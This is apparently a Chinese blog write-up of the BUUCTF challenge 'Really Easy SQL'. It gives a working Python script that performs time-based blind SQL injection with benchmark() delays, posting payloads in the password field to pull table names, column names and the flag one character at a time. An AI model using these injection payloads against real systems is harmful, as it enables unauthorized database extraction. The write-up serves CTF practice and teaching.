【BUU】[Dest0g3 520迎新赛]Really Easy SQL

2024/8/14

[Dest0g3 520迎新赛]Really Easy SQL

题目标题说明是SQL注入

题目首页

页面title显示是钓鱼站点。

钓鱼站点主要为将我们的输入信息保存在数据库。后台应该是插入语句。

这里无论输入什么都显示密码错误, 只能尝试盲注,基于时间的盲注,

这里经过测试payload如下,

然后写脚本内容如下

python 复制代码
import requests
import time
from urllib.parse import urlencode

url="http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/"
flag=''
for i in range(1,44):
    for j in range(40,137):
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.2)
        except:
           flag += chr(j)
           print(flag)
           break
        
        time.sleep(0.2)
    time.sleep(1)

跑到flag。这道题目挺花时间的,主要在于sleep()函数被过滤了.如果在测试的过程中没有意识到这个问题,那么就会花费大量的时间。

成功解答

相关推荐
向阳1218几秒前
mybatis 动态 SQL
数据库·sql·mybatis
胡图蛋.1 分钟前
什么是事务
数据库
小黄人软件4 分钟前
20241220流水的日报 mysql的between可以用于字符串 sql 所有老日期的,保留最新日期
数据库·sql·mysql
青莳吖6 分钟前
Java通过Map实现与SQL中的group by相同的逻辑
java·开发语言·sql
张声录19 分钟前
【ETCD】【实操篇(三)】【ETCDCTL】如何向集群中写入数据
数据库·chrome·etcd
无为之士15 分钟前
Linux自动备份Mysql数据库
linux·数据库·mysql
小汤猿人类28 分钟前
open Feign 连接池(性能提升)
数据库
阳冬园1 小时前
mysql数据库 主从同步
数据库·主从同步
XiaoH2331 小时前
培训机构Day15
sql·mysql
Mr.132 小时前
数据库的三范式是什么?
数据库